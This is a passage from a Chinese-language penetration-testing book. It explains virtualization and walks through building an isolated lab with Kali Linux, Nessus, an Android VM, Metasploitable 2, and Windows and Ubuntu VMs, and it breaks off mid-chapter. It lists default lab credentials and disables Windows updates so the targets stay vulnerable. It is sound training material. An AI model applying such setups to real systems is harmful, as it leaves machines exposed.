作为未来的道德黑客和/或渗透测试人员,在测试有效载荷或练习黑客技能时,非常重要的一点是不要干扰或对其他人的计算机或网络基础设施造成任何伤害或损害,比如您所在组织的计算机或网络。为了进一步阐述,我们将使用一个简单的类比。想象一下,您在一个名为 ACME(一个虚构的组织)的公司工作,您是网络/系统管理员。您的 IT 主管注意到您对网络安全表现出兴趣,并且认为您有成为渗透测试人员或道德黑客的潜力。因此,他们批准您接受官方的渗透测试认证培训。一旦培训结束,通过授权培训中心ATC)访问虚拟实验室的权限通常会被终止,这对您来说是一个真正的挑战:在培训课程和实验室访问结束后,您将如何练习您的黑客技能?另一个挑战是,在组织的网络上练习黑客技术是具有侵入性和非法的。

这使我们意识到建立自己的个人实验室环境对于练习和提高技能非常重要。此外,拥有自己的渗透测试实验室将使我们能够尝试新的攻击、工具和技术,而不必担心对公司网络造成侵入性或安全漏洞。最重要的是,在本章中,您将了解建立和设计适合在 Windows 和 Linux 操作系统上练习各种黑客技术的渗透测试实验室的重要性。

在本章中,我们将涵盖以下主题:

  • 实验室概述

  • 建立我们的实验室

  • 设置 Kali Linux

  • 安装 Nessus

  • 设置 Android 模拟器

  • 安装 Metasploitable 2

技术要求

为了跟上本章的练习,请确保您已满足以下硬件和软件要求:

  • Oracle VM VirtualBox

  • VMware Workstation Pro

  • Kali Linux 2019.2

  • Nessus 漏洞扫描程序

  • Android 操作系统(x86 版本 4.4-r4)

  • Metasploitable 2

实验室概述

在本节中,我们将讨论设计和设置我们自己的渗透测试实验室所需的方法和组件。为了建立我们的实验室,我们将建立一个虚拟实验室基础设施,以确保我们能够节省金钱,而不是不得不购买物理计算机和网络设备。

在接下来的章节中,我们将开始讨论在建立我们的渗透测试实验室环境中使用虚拟化的重要性,因为虚拟化在本章和本书的其余部分中起着重要作用。之后,我们将深入安装 Kali Linux 并创建一个虚拟网络。

虚拟化

根据我作为学生、教师和专业人士的经验,当一个人在 IT 领域开始学习时,通常认为需要一个物理实验室基础设施。在某种程度上,这是正确的,但建立物理实验室也有许多不利因素。

这些不利因素包括但不限于以下内容:

  • 存储所需的物理空间,用于存放许多所需的服务器和网络设备。

  • 每个设备的功耗将导致整体高额的财政支出。

  • 每个物理设备的建造/购买成本,无论是网络设备还是服务器。

这些只是学生或初学者的一些主要关注点。在大多数情况下,一个人只有一台计算机,无论是台式机还是笔记本电脑。虚拟化的概念作为对这些不利因素的回应,为 IT 开启了许多大门,并使许多人和组织能够有效地优化和管理他们的硬件资源。

什么是虚拟化,它有什么帮助? IT 行业中的虚拟化概念允许组织减少对多个物理设备(如服务器和网络安全设备)的需求。在 IT 的早期阶段,例如 Microsoft Windows Server 这样的操作系统需要安装在单个物理设备上。通常,类似服务器的设备会包括用于 CPU 的高端处理器、大量的 RAM 和大量的存储空间。然而,很多时候硬件资源(CPU 和 RAM)会被主机操作系统(Microsoft Windows Server)低效利用。这种资源浪费通常被称为服务器扩展

以下图表显示了三台物理服务器,每台都有自己的主机操作系统和可用的硬件资源:

要快速查看 Microsoft Windows 操作系统上资源的利用情况,只需打开任务管理器并选择性能选项卡。以下截图是我当前设备的截图。

我们可以看到 CPU、内存和其他资源目前都没有充分利用;仔细观察CPU内存图表,我们可以看到它们没有超过 80%-90%,使用的容量不到 50%:

如果我们能够在单个物理设备上运行多个操作系统(如 Windows 和 Linux),我们肯定可以利用虚拟化。这将使我们能够更好地管理和有效地最大化可用资源,使用一种称为虚拟化管理程序的组件。

虚拟化管理程序

虚拟化管理程序是虚拟化中最重要的组件。它负责创建一个模拟环境,供客户操作系统用于运行。无论操作系统是为桌面、服务器、网络还是移动设备设计的,都需要特定的硬件组件来确保最佳和无缝的运行。这就是虚拟化管理程序发挥作用的地方,它让不可能的事情变为可能,允许您在一台计算机上运行多个不同的操作系统。

虚拟化管理程序可以以两种方式之一安装在硬件设备上,这将在本章的后面更详细地探讨:

  • 它可以安装在主机操作系统上,如 Windows、Linux 或 macOS。

  • 它可以直接安装在硬件顶部以作为本机操作系统运行。

主机操作系统是指直接安装在设备上的操作系统,比如运行 Windows 10 的台式机或笔记本电脑。客户操作系统是安装在虚拟化管理程序中的操作系统(被视为虚拟化)。

以下是可用的虚拟化管理程序类型:

  • 类型 1

  • 类型 2

在接下来的两节中,我们将看看两种类型的虚拟化管理程序,并了解它们的相似之处和不同之处。

类型 1 虚拟化管理程序

类型 1 虚拟化管理程序有时被称为裸金属虚拟化管理程序,因为它通常直接部署到物理服务器的硬件上。在这种模型中,安装在虚拟化管理程序上的任何操作系统都可以直接访问硬件资源,如 CPU、RAM 和网络接口卡NIC)。这种模型允许每个客户操作系统直接与物理设备上的任何硬件组件交互;因此,使部署模型比类型 2 模型更有效。

以下图表说明了每个客户操作系统(虚拟机)如何通过虚拟化管理程序与单个物理服务器机箱的物理硬件组件进行交互。例如,虚拟机通过虚拟化管理程序直接访问物理硬件:

以下是免费和商业类型 1 虚拟化管理程序的列表:

  • VMware ESXi(免费)

  • VMware ESX(商业)

  • Microsoft Hyper-V Server(免费)

  • XCP-ng(免费/商业)

现在你对类型 1 的虚拟化管理程序有了更好的理解,让我们来了解一下类型 2 的虚拟化管理程序。

类型 2 虚拟化管理程序

在类型 2 的虚拟化管理程序部署模型中,虚拟化管理程序应用程序安装在主机操作系统之上,而不是直接安装在硬件组件上。主机操作系统的示例包括 Microsoft Windows、Apple macOS 和各种 Linux 版本。在类型 2 部署模型中,虚拟化管理程序无法直接访问本地系统上的硬件资源,就像在类型 1 部署模型中那样。相反,在类型 2 部署中,虚拟化管理程序与主机操作系统接口,以访问可用的任何资源。主机操作系统通常需要一定数量的资源,如 CPU 和内存利用率,以便能够以最佳方式运行,剩下的资源则提供给类型 2 虚拟机。

以下是一个图表,说明了每个组件在单个系统上(如台式机或笔记本电脑)如何与其他组件接口。仔细观察,每个虚拟机都间接访问资源(CPU、内存等)。操作系统在硬件资源方面具有优先权,剩下的资源则提供给正在运行的虚拟机:

以下是类型 2 虚拟化管理程序的简要列表。请注意,有些是免费的,而有些是商业的:

  • Microsoft Virtual PC(免费)

  • Oracle VM VirtualBox(免费)

  • VMware Player(免费)

  • VMware Workstation Pro(商业)

  • VMware Fusion(商业)

  • Parallels Desktop for Mac(商业)

你可能想知道哪种虚拟化管理程序更好——类型 1 还是类型 2?老实说,这真的取决于你的情况。就我个人而言,我在我的笔记本电脑上安装了一个类型 2 的虚拟化管理程序,里面有几台虚拟机,我用它们进行培训和在远程位置的其他情况。而在家里,我在我的家庭实验室的 Intel NUC 上安装了一个类型 1 的虚拟化管理程序,里面有多台虚拟机,每台都有不同的用途。

现在你对虚拟化管理程序的概念有了更好的了解,让我们来了解一下虚拟化管理程序的特性,因为这将帮助我们构建一个用于创建渗透测试实验室的虚拟网络。

其他组件

在这一部分,我们将概述完成我们的实验室所需的其他组件,包括查看虚拟交换机是什么以及我们将在实验室中使用的不同类型的操作系统。

虚拟交换机

你可能会想,既然我们要创建一个虚拟化实验室环境,我们要如何创建一个网络,以确保各种虚拟机之间具有连接性。我们需要一些网络电缆、网络交换机,甚至其他网络设备吗?最重要的是,我们需要确保我们的虚拟环境与我们现有网络和互联网隔离开来,因为我们不希望对公共服务器发动无意的攻击,这将是非法的并涉及法律问题。

幸运的是,每个虚拟化管理程序都包含一个虚拟交换机,为我们提供基本的第二层交换功能。一些虚拟化管理程序在它们的虚拟交换机上提供虚拟局域网(VLAN)分配,而其他一些则没有。由于我们将继续构建一个隔离的虚拟实验室,我们将需要一个单独的虚拟交换机来将我们的攻击者机器与其他易受攻击的机器连接起来。

操作系统

作为未来的道德黑客、渗透测试员或网络安全专业人员,建议您测试各种技术,模拟对不同类型操作系统的真实攻击。有时,在对组织的网络和服务器进行渗透测试或进行漏洞评估时,您会遇到许多不同的操作系统。我们将在实验室环境中使用以下操作系统,并为每个操作系统提供下载链接:

此处列出的每个操作系统在我们的实验室中都有独特的用途。在本章的其余部分,我们将对每个操作系统执行各种类型的攻击。

Microsoft 评估中心(www.microsoft.com/en-us/evalcenter/)允许用户下载和测试其平台上提供的任何应用程序和操作系统,为期 180 天,并为您选择的应用程序提供完整的功能支持。

开放式 Web 应用安全项目OWASP)(www.owasp.org)创建了一个虚拟机,允许网络安全专业人员执行具有已知漏洞的各种应用程序;这就是OWASP 破损 Web 应用程序OWASPBWA)虚拟机。Metasploitable 是由 Rapid7 创建的一个易受攻击的基于 Linux 的虚拟机(www.rapid7.com)。它的目标是帮助人们在安全的环境中学习和实践渗透测试。

在本节中,我们介绍了虚拟化的基本知识,包括核心组件 hypervisor,现在我们已经准备好构建虚拟实验室环境,支持许多操作系统和用例。在下一节中,我们将研究如何将所有组件放在一起,构建我们的实验室。

建立我们的实验室

现在是时候组装所有组件并配置我们自己的渗透测试实验室了。在选择 hypervisor 类型之前,我们需要决定当前可用的资源。如果您目前只有一台笔记本电脑或台式电脑,我们将使用第 2 类型 hypervisor,如 Oracle VM VirtualBox 或 VMware Workstation Pro。如前所述,第 2 类型 hypervisor 部署将允许我们使用现有资源,如一台笔记本电脑或台式电脑,构建我们的虚拟实验室环境,而无需担心购买额外的硬件组件,如服务器。

要开始安装我们的 hypervisor,让我们下载并安装 Oracle VM VirtualBox:

  1. 转到www.virtualbox.org,然后转到网站的下载部分,并根据当前操作系统选择您的平台类型:

  1. 应用程序下载完成后,是时候安装它了。确保在安装向导期间使用默认配置。安装完成后,打开 VirtualBox 以确保安装成功。您应该看到类似以下截图的内容:

  1. 如果您更喜欢使用 VMware Workstation 进行实验,您可以在www.vmware.com/products/workstation-pro.html上找到它。下载后,按照安装过程中的默认配置安装应用程序。完成后,您将看到用户界面,如下截图所示:

如果您使用的是较旧版本的 Oracle VM VirtualBox 或 VMware Workstation,则无需升级,因为先前的版本已经包含了继续配置我们实验室所需的功能。

设计适当的渗透测试实验室最重要的一点是确保我们有最佳的网络设计来互连我们的虚拟机。在接下来的部分中,我们将详细介绍如何使用 Oracle VM VirtualBox 和 VMware Workstation Pro 创建虚拟网络。

创建虚拟网络

以下图表显示了我们将在虚拟实验室环境中使用的一般网络拓扑结构:

在接下来的部分中,我们将为实验室中的每台虚拟机分配适当的 IP 地址。每台虚拟机使用虚拟机监控程序内的虚拟交换机进行互连。路由器不是必需的,因为这只是一个简单的实验室设计。

Windows Server 2008 机器是可选的,不是必需的。

让我们看看如何构建虚拟网络:

  1. 如果您使用的是 VirtualBox,请单击右侧的菜单图标,然后单击“工具”|“网络”:

将打开一个新窗口,让您选择创建、删除或修改虚拟网络适配器的属性。在本练习中,我们将创建一个新的虚拟适配器,用于连接我们的每台虚拟机在虚拟机监控程序中。这实现了虚拟交换机的效果。

  1. 单击“创建”以添加新的虚拟适配器:

您的主机操作系统将花费几分钟的时间在计算机上创建新的虚拟网络适配器。

  1. 创建虚拟网络适配器后,VirtualBox 中的网络管理器组件将自动为接口分配 IP 地址。但是,我们将根据自己的偏好配置 IP 地址方案。首先,只需选择虚拟网络适配器,然后单击“属性”以修改配置。

  2. 确保选择手动配置适配器的选项,使用以下截图中显示的 IP 地址和子网掩码。单击“应用”以在网络适配器上注册配置:

  1. 可选地,我们可以在虚拟网络适配器上配置动态主机配置协议(DHCP)服务器,以为连接到此虚拟网络的每台虚拟机提供一系列 IP 地址。如果您想启用 DHCP 服务,请使用以下配置:

  1. 对于那些更喜欢 VMware Workstation 的人,我们也为您提供了支持。在 VMware Workstation 中配置虚拟网络非常简单。打开 VMware Workstation 应用程序,然后选择“编辑”|“虚拟网络编辑器...”,如下截图所示:

  1. Windows 上的用户访问控制(UAC)将提示您获取管理员权限。在提供授权后,虚拟网络编辑器窗口将打开。如您所见,有三个虚拟网络适配器:

我们将修改 VMnet1 虚拟适配器。主机专用适配器为所有连接的虚拟机和主机计算机创建了一个虚拟网络。这种类型的配置允许所有虚拟机在没有互联网连接的情况下无缝通信。

  1. 要修改 VMnet1 适配器,请选择适配器并调整配置,如下面的屏幕截图所示:

这些配置复制了先前在 Oracle VM VirtualBox 中执行的配置。

现在我们已经掌握了使用 Oracle VM VirtualBox 和 VMware Workstation Pro 构建虚拟网络所需的知识,让我们开始在实验室中安装虚拟机并设置 Kali Linux。

设置 Kali Linux

让我们设置我们的第一个虚拟机,我们的攻击者机器,Kali Linux。Kali Linux 操作系统是基于 Debian 的 Linux 平台,包含 300 多种用于渗透测试和取证的工具。它是渗透测试人员使用最广泛的平台之一,因为它包含许多功能和相当的功能,例如以下内容:

  • 全盘加密

  • 支持具有紧急自毁(Nuke)功能的Linux 统一密钥设置LUKS)加密

  • 辅助功能

  • 取证模式

  • 带有多个持久性的 Live USB

要开始使用 Kali Linux,可以在官方网站(www.kali.org)和 Offensive Security 域(www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/)上找到。在设置 Kali Linux 时有许多方法,例如从 ISO 文件安装和导入预配置的虚拟映像到虚拟化程序。对于我们的设置过程,我们将使用后一种方法。导入虚拟设备是无缝的,需要很少的时间;它还避免了使用 ISO 文件安装时出现的错误配置的可能性。

根据我的个人经验,使用预配置的虚拟映像设置 Kali Linux 在大多数情况下也更有效。要开始,我们可以采取以下步骤:

  1. 转到www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/,根据您的操作系统架构下载 32 位或 64 位的 Kali Linux VMware 映像。根据您的虚拟化程序软件的供应商选择 VMware 或 VirtualBox 映像:

  1. 无论您下载了 VirtualBox 还是 VMware 映像,请确保解压内容。如果您下载了 VirtualBox 映像,在文件夹中将会有一个类似命名约定的文件,如下面的屏幕截图所示:

  1. 您可以右键单击文件,然后选择“打开方式”| VirtualBox Manager:

  1. 接下来,导入虚拟设备向导将出现。只需单击导入。导入过程将需要几分钟才能完成:

导入过程完成后,您将在 VirtualBox 仪表板上看到新的虚拟机可用:

  1. 将 Kali Linux 导入 VMware Workstation。确保您已经下载并解压了虚拟映像文件夹。以下是提取文件夹的内容。右键单击下面屏幕截图中显示的突出显示的文件,然后选择“打开方式”| VMware Workstation:

  1. VMware Workstation 将打开,提供导入虚拟机窗口。单击导入:

这个过程应该需要几分钟的时间来完成。完成后,新的虚拟机将在 VMware Workstation 的库中可用:

导入虚拟镜像的好处是自动完成所有配置,而不是手动使用 ISO 镜像安装操作系统。配置将包括为存储创建虚拟硬盘以及分配资源,如处理器、RAM 和 NIC。导入虚拟镜像消除了在安装阶段发生任何错误配置的可能性。导入阶段完成后,用户随后可以对各个虚拟机进行调整,例如增加或减少每个虚拟机的资源。

将虚拟网络连接到虚拟机

此时,我们已经创建了我们的虚拟网络适配器,并将 Kali Linux 导入到我们的 hypervisor 中。现在是时候将我们的攻击者机器 Kali Linux 连接到我们的虚拟网络(虚拟交换机)。

首先,我将指导您通过 Oracle VM VirtualBox 配置硬件资源的步骤:

  1. 选择 Kali Linux 虚拟机,然后点击设置:

  1. 一旦设置窗口打开,选择网络选项。在这里,您可以启用/禁用当前虚拟机上的网络适配器。选择仅主机适配器选项,虚拟网络适配器将自动选择在下面:

  1. 接下来,我们将在 VMware Workstation 上进行相同的调整。首先,在 Kali Linux 虚拟机上点击编辑虚拟机设置:

虚拟机设置窗口将打开。在这里,您可以自定义 hypervisor 菜单中的任何硬件组件的设置。

  1. 选择网络适配器,然后选择自定义:特定虚拟网络| VMnet1(仅主机):

请记住,VMnet1 适配器具有我们的自定义 IP 方案。

  1. 我们可以启动 Kali Linux 虚拟机,以确保它正常工作。Kali Linux 的默认用户名/密码是root/toor

  2. 一旦您成功登录,您将可以访问桌面:

现在我们清楚地了解了如何在 Oracle VM VirtualBox 和 VMware Workstation 中设置虚拟机,以及如何在每个 hypervisor 应用程序中配置虚拟网络。让我们继续设置实验室中的其他类型的应用程序和虚拟机。

安装 Nessus

当您进入渗透测试和漏洞评估领域时,您必须熟悉使用的一个工具是 Nessus。Nessus 是市场上最流行的漏洞评估工具之一。Nessus 应用程序使用 Web 界面进行控制,允许用户创建自定义扫描。此外,Nessus 包含各种行业的预构建扫描模板,例如支付卡行业(PCI)合规性扫描仪。

Nessus 的创建者 Tenable 表示,Nessus 能够检测超过 47,000 个常见漏洞和暴露(CVE)。作为未来的道德黑客/渗透测试人员,在安全审计阶段使用 Nessus 将帮助您快速发现安全漏洞。

Nessus 受到许多平台的支持,如 Windows 和 Kali Linux。Nessus Home 版本可供个人免费使用,并且能够在每次扫描中扫描多达 16 个 IP 地址。要获取 Nessus Home 版本,只需转到 www.tenable.com/products/nessus-home 并填写注册表格以获取激活许可证。注册后,您将被重定向到下载中心,在那里您可以为您的平台选择合适的版本:

如果您正在 Windows 操作系统上安装 Nessus,则该过程非常简单。下载 Windows 可执行文件并运行它。

但是,要在 Kali Linux 上安装 Nessus,请按照以下步骤进行:

  1. 打开终端并运行以下命令,以升级平台上当前安装的所有应用程序:
apt-get update && apt-get upgrade
  1. 通过在 www.tenable.com/products/nessus/nessus-essentials 完成注册表格,从 Tenable 获取激活代码。

  2. 转到 www.tenable.com/downloads/nessus 的 Nessus 下载页面,并根据您的操作系统架构下载 32 位或 64 位版本:

  1. 一旦 Nessus 在 Kali Linux 上被下载,打开终端,将目录更改为 Downloads 文件夹,并使用以下命令开始安装:
 dpkg -i Nessus-8.3.1-debian6_amd64.deb

运行上述命令的输出如下:

  1. 安装完成后,使用以下命令在 Kali Linux 上启动 Nessus 服务:
 /etc/init.d/nessusd start 

如果您希望 Nessus 服务在 Kali Linux 启动过程中自动启动,可以使用以下命令启用此功能:

update-rc.d nessusd enable 
  1. 一旦在 Kali Linux 上完成安装,输入 https://localhost:8834/ 到您的网络浏览器。此时,您将被提示创建用户帐户:

  1. 接下来,您将被提示输入您的 Nessus 许可证以激活产品。您需要来自 步骤 2 的激活代码来完成此阶段:

  1. 完成激活阶段后,Nessus 将尝试连接到互联网以下载其他资源。此过程应该需要几分钟来完成:

  1. 一旦您登录,您的用户仪表板将可用。在这里,您可以根据自己的喜好创建新的扫描和模板,并修改现有资源:

在本书的过程中,我们将在渗透测试阶段探索 Nessus 的功能。

完成本节后,您现在可以在 Kali Linux 上安装和设置 Nessus 漏洞扫描器。在下一节中,您将学习如何在实验室环境中安装 Android 作为虚拟机。

设置 Android 模拟器

作为渗透测试人员和/或道德黑客,您将在现场遇到许多不同类型的目标和操作系统。已经进入网络安全领域的一种操作系统是移动平台 Android。在本节中,我们将发现如何将 Android 操作系统版本 4.4 设置为虚拟机,以成为您渗透测试实验室环境的一部分。

请注意,www.osboxes.org 拥有几乎每种类型操作系统的虚拟镜像仓库,包括桌面、服务器甚至移动操作系统。该网站允许您下载您选择的虚拟镜像,并将其无缝加载到诸如 Oracle VM VirtualBox 或 VMware Workstation 等虚拟化软件中。

让我们学习如何在您的渗透测试实验室中创建一个虚拟的 Android 机器:

  1. 首先,转到www.osboxes.org/android-x86/下载实验室的 Android 移动操作系统。

  2. 搜索 Android-x86 4.4-r4 版本,并下载适用于您的虚拟机管理程序的 VirtualBox 或 VMware 虚拟镜像:

  1. 文件下载到您的台式电脑后,解压缩文件夹以查看内容。

  2. 接下来,右键单击.ovf文件,选择打开方式,然后选择 VMware 或 VirtualBox 选项,如下截图所示:

  1. 导入向导将出现。选择导入开始过程:

导入过程需要几分钟时间完成,新的 Android 虚拟机将出现在您的虚拟机库中。

  1. 我选择在我的 Android 虚拟机上使用以下配置。但是,您可以根据需要增加或减少虚拟机上的资源。确保虚拟网络适配器分配给 Custom(VMnet1),如下截图所示:

  1. 启动您的 Android 虚拟机后,一旦完全加载完成,您将看到一个界面。 Android 4.4 的全部功能在您的虚拟机中都可以使用。

一旦 Android 虚拟机启动,它将在您的实验室网络中充当真实的物理 Android 设备。这模拟了一个环境,不仅具有典型的操作系统,如 Windows 和 Linux,还有移动平台,如 Android。现在您在实验室中有了一个虚拟的 Android 机器,让我们在下一节中看看如何设置一个易受攻击的基于 Linux 的虚拟机。

安装 Metasploitable 2

如前所述,Metasploitable 虚拟机是由 Rapid7 团队(www.rapid7.com)创建的,目的是进行网络安全意识和培训。在本节中,我将带您了解在实验室中设置 Metasploitable 虚拟机所涉及的步骤:

  1. 首先,您需要从sourceforge.net/projects/metasploitable/files/Metasploitable2/下载虚拟镜像文件。下载到计算机后,解压缩 ZIP 文件以查看内容。

  2. 接下来,右键单击以下突出显示的文件,然后选择导入或使用您选择的虚拟机管理程序打开:

  1. 导入过程完成后,新的虚拟机将出现在您的虚拟机库中(VirtualBox 或 VMware)。确保网络适配器设置为 Custom(VMnet1),就像我们实验室的虚拟网络一样:

  1. 要测试虚拟机,将其启动并让其引导。引导过程完成后,您将看到登录凭据(用户名/密码)是系统横幅的一部分,msfadmin/msfadmin

  1. 使用凭据登录虚拟机,并使用ifconfig命令验证其是否具有有效的 IP 地址:

对于每台虚拟机,请确保您已记录下 IP 地址。我在本书的剩余章节中将使用的 IP 地址可能与您的有些不同,但操作系统和虚拟机配置将是相同的。

您现在在实验室中有一个易受攻击的基于 Linux 的操作系统。在练习渗透测试技术和磨练技能时,建议在实验室中拥有各种不同目标操作系统的混合。这种方法可以让您学习如何对各种不同的目标进行攻击,这很重要,因为企业网络通常有许多不同的设备和操作系统。您不希望参与的渗透测试中,目标组织主要使用 Linux 设备,而您的技能只针对基于 Windows 的系统;这对您作为渗透测试人员来说是一个不好的迹象!因此,在实验室尽可能地模拟企业网络将有助于您提高技能。

总结

在本章中,我们首先讨论了拥有自己隔离的实验室环境进行攻击性安全培训的重要性。我们深入探讨了虚拟化的概念,以及它如何在现在和将来帮助我们。在本章后期,我们介绍了如何在 Oracle VM VirtualBox 和 VMware Workstation 上配置虚拟网络,因为这些网络将用于连接所有虚拟机(攻击者和受害者机器)。然后,我们演示了如何将 Kali Linux 和 Android 部署到我们的渗透测试实验室中。

现在我们对设计和构建实验室环境有了基本的了解,让我们在下一章继续部署基于 Windows 和 Linux 的操作系统。

问题

  1. 哪种类型的 hypervisor 安装在主机操作系统之上?

  2. 虚拟化有哪些好处?

  3. 一些免费的 hypervisor 的例子是什么?

  4. 如何在 Kali Linux 中安装离线软件/应用程序?

  5. 在 hypervisor 中的操作系统通常被称为什么?

进一步阅读

以下链接建议进行额外阅读:

第三章:设置 Kali - 第 2 部分

在上一章中,我们开始构建我们自己的渗透测试实验室。但是,实验室环境没有安装两个最流行的操作系统:Microsoft Windows 和 Ubuntu 是不完整的。作为渗透测试人员,建议您在 Windows 和 Linux 环境中练习技能,因为这两者都是企业环境中员工,如员工和高管成员,每天都在使用的。通常,系统管理员并不总是在员工的系统上安装最新的安全更新,这使得计算机容易受到最新的网络威胁。渗透测试人员应该学会如何在 Windows 和 Linux 上执行各种攻击。

本章将涵盖以下主题:

  • 安装 Windows 作为虚拟机VM

  • 安装 Ubuntu 8.10

  • Kali Linux 故障排除

技术要求

以下是本章的技术要求:

  • Oracle VM VirtualBox 或 VMware Workstation Pro

  • Microsoft Windows 10

  • Microsoft Windows Server 2016

  • Ubuntu 桌面

  • Ubuntu 服务器

  • Kali Linux

安装 Windows 作为虚拟机

由于更多的组织使用 Windows 操作系统作为员工工作站/桌面的主要操作系统,您需要了解如何在 Windows 平台上执行渗透测试。

微软提供的一个好处是通过 Microsoft 评估中心提供其操作系统的 90 天试用期。在本节中,我将演示如何在我们的渗透测试实验室中设置 Windows 虚拟机:

  1. 首先,您需要使用以下 URL 下载 Windows 10 和 Windows Server 2016 的 ISO 映像:

Windows 桌面和 Windows 服务器的安装程序是相同的。

  1. 一旦 ISO 文件成功下载,打开您的虚拟机监控程序并选择新的虚拟机:

  1. 如果您使用 VMware,新虚拟机向导将提示您在“典型(推荐)”或“自定义(高级)”模式下继续设置。在本练习中,我选择了典型选项,因为它包括一些简单的步骤:

  1. 接下来,选择“安装程序光盘映像文件(iso)”选项,通过单击“浏览”添加 ISO 文件。一旦文件成功添加,单击“下一步”继续:

  1. VMware 将呈现一个自定义窗口,允许您在安装阶段插入产品密钥(在注册阶段从 Microsoft 评估中心获取)并创建管理员帐户。只需填写详细信息,使用下拉框选择要安装的操作系统版本,然后单击“下一步”:

  1. 接下来,您可以选择为 Windows 虚拟机命名并选择存储其配置的位置。此步骤可以保持默认设置:

  1. 接下来,您可以选择为 Windows 虚拟机创建新的虚拟硬盘。我选择了其大小为 100 GB,并将其文件分割成多个部分以便更容易地移植:

您可以选择任何硬盘大小,只要它是建议的大小或以上。系统要求可以在docs.microsoft.com/en-us/windows-server/get-started/system-requirements找到。

  1. 最终窗口将显示配置的摘要。您可以通过单击“自定义硬件...”选项来自定义硬件资源:

  1. 单击“完成”后,Windows 10/Server 2016 虚拟机将出现在您的库中。您还可以在虚拟机关闭时修改硬件配置。

  2. 现在,是时候启动 Windows 虚拟机了。确保选择相应的语言、时间和键盘格式。

  3. 选择“立即安装”选项开始安装阶段。

  4. 选择要安装的 Windows 版本。如果您使用的是 Windows Server 2016,请使用数据中心版。如果您使用的是 Windows 10,请选择企业版:

  1. 接下来,您需要阅读并接受最终用户许可协议EULA),然后选择虚拟硬盘驱动器HDD)上的安装类型。由于这是一个新安装,选择“自定义:仅安装 Windows(高级)”选项,如下截图所示:

  1. 选择虚拟硬盘作为安装目标,如下截图所示,并单击“下一步”继续:

  1. 安装过程可能需要一段时间,这取决于为虚拟机分配的 CPU 和 RAM 资源的数量。

完成此过程后,Windows 将向您呈现登录窗口。

现在我们已经安装了 Windows 虚拟机,我们将看看如何在 Microsoft Windows 上创建其他用户帐户。

创建用户帐户

在本节中,我将指导您如何在 Windows 上创建用户帐户:

  1. 首先,您需要访问“控制面板”,然后单击“用户帐户”选项。

  2. 您将看到系统中的所有本地用户帐户。选择“管理其他帐户”。

  3. 接下来,单击“添加用户帐户”。

  4. Windows 10/Server 2016 将向您提供一个窗口,询问用户名、密码和提示(以帮助您记住密码)等各种详细信息,以便您在本地系统上创建新用户帐户。

现在您已经掌握了创建新用户帐户的知识,我们将看看如何在 Microsoft Windows Server 上禁用自动更新。

选择退出自动更新

供应商为其软件产品和操作系统提供更新,原因有很多,例如添加新功能、提高性能以及修复安全漏洞和崩溃等问题。在 Windows 上禁用自动更新将确保您的操作系统在实验中保持安装时建立的相同安全级别。

使用 Windows 10 和 Windows Server 2016,Microsoft 已经从控制面板中删除了禁用 Windows 更新的功能。在本节中,我将演示如何在 Windows Server 2016 中禁用 Windows 更新功能:

  1. 首先,打开“命令提示符”并输入sconfig,如下截图所示:

  1. 将出现以下屏幕。使用选项5访问“Windows 更新设置”:

  1. 交互式菜单将询问您希望 Windows 如何处理更新的检查和安装—(A)utomatic(D)ownloadOnly(M)anual。我们将选择“手动”选项:

然后 Windows 将确认我们的选择。“手动”确保 Windows 不会在没有我们的许可下检查任何更新。

现在您可以禁用自动更新,让我们看看如何在 Windows 虚拟机上设置静态 IP 地址。

设置静态 IP 地址

在网络资源和设备上设置静态 IP 地址非常重要。静态 IP 地址将确保 IP 地址不会更改,因此一旦建立了网络连接,网络上的用户将始终能够访问资源/服务器。

在组织或实验室中拥有服务器肯定需要一个不会更改的地址。要做到这一点,请按照以下步骤进行:

  1. 首先,登录到您的 Windows Server 2016,然后单击左下角的 Windows 图标以查看开始菜单。单击 Server Manager,如下截图所示:

  1. Server Manager 是一个单一的仪表板,允许服务器管理员使用图形用户界面(GUI)控制、管理和监视 Windows Server。在窗口的左侧,选择本地服务器,然后单击 Ethernet0 部分,如下截图所示:

  1. 网络连接窗口将打开,显示在您的虚拟 Windows Server 2016 机器上可用的所有网络适配器。要为网络适配器添加静态 IP 地址,只需右键单击适配器,然后选择属性,如下截图所示:

  1. 选择 Internet Protocol Version 4(TCP/IPv4)|属性,如下截图所示:

  1. 现在,您将有选择为其分配静态 IP 地址、子网掩码和默认网关,以及 DNS 配置的选项:

请确保您的 IP 地址配置与 DHCP 服务器(您的 hypervisor)和其他 VM 在同一子网内。您的 IP 地址应该在10.10.10.210.10.10.254之间,子网掩码应该是255.255.255.0,默认网关应该是10.10.10.1,对于您实验室中的每个 VM。

现在您可以为 Windows 配置静态 IP 地址,让我们看看如何添加额外的网络接口。

添加额外的接口

有时,拥有额外的网络接口卡(NIC)可以在许多方面非常有用,比如确保网络冗余,甚至可以启用 NIC Teaming,将多个 NIC 组合成一个逻辑接口以实现组合吞吐量。

让我们向 VM 添加额外的 NIC:

  1. 要向 VM 添加额外的 NIC,只需访问 VM 的设置:

  1. 单击添加... 这将允许您从各种虚拟硬件组件中进行选择:

  1. 选择网络适配器,然后单击完成,如下截图所示:

  1. 新的 NIC 将被添加到 VM,并且您将有选择根据您的偏好进行配置:

当操作系统重新启动时,虚拟 NIC 将出现在 Windows 的网络共享中心中。

完成了本节,您现在已经完成了以下工作:

  • 安装了 Microsoft Windows

  • 创建用户帐户

  • 禁用 Windows 自动更新

  • 在 Windows Server 上配置了静态 IP 地址

  • 通过 hypervisor 为 VM 添加额外的接口

在下一节中,我们将深入研究在我们的渗透测试实验室中安装 Ubuntu。

安装 Ubuntu 8.10

在本节中,我们将在我们的实验室环境中安装 Ubuntu(Linux)VM 以进行测试。正如我之前提到的,一个出色的渗透测试人员或道德黑客是一个对许多操作系统有很多知识和经验的人。

对各种环境和操作系统有广泛的了解和知识将使您的安全审计和渗透测试变得更加容易。我们将在我们的实验室中使用 Ubuntu 8.10 操作系统。

Linux 操作系统有许多不同的版本,如 Fedora、CentOS、Arch Linux、openSUSE、Mint Linux、Ubuntu 和 RedHat。

有三种方法可以开始在您的实验室上安装 Ubuntu,如下所示:

  • 转到 Ubuntu 的网站www.ubuntu.com并转到下载页面以获取最新版本的 Ubuntu 的副本。

  • 由于我们的练习将使用特定版本的 Ubuntu,我们将在 Google 上搜索Ubuntu 8.10,以快速找到官方相关存储库:

一旦 ISO 文件成功下载到您的台式计算机上,使用以下参数在 Oracle VM VirtualBox 或 VMware Workstation 中创建一个虚拟环境:

  • CPU:1 核心

  • RAM:1-2 GB

  • HDD:60 GB

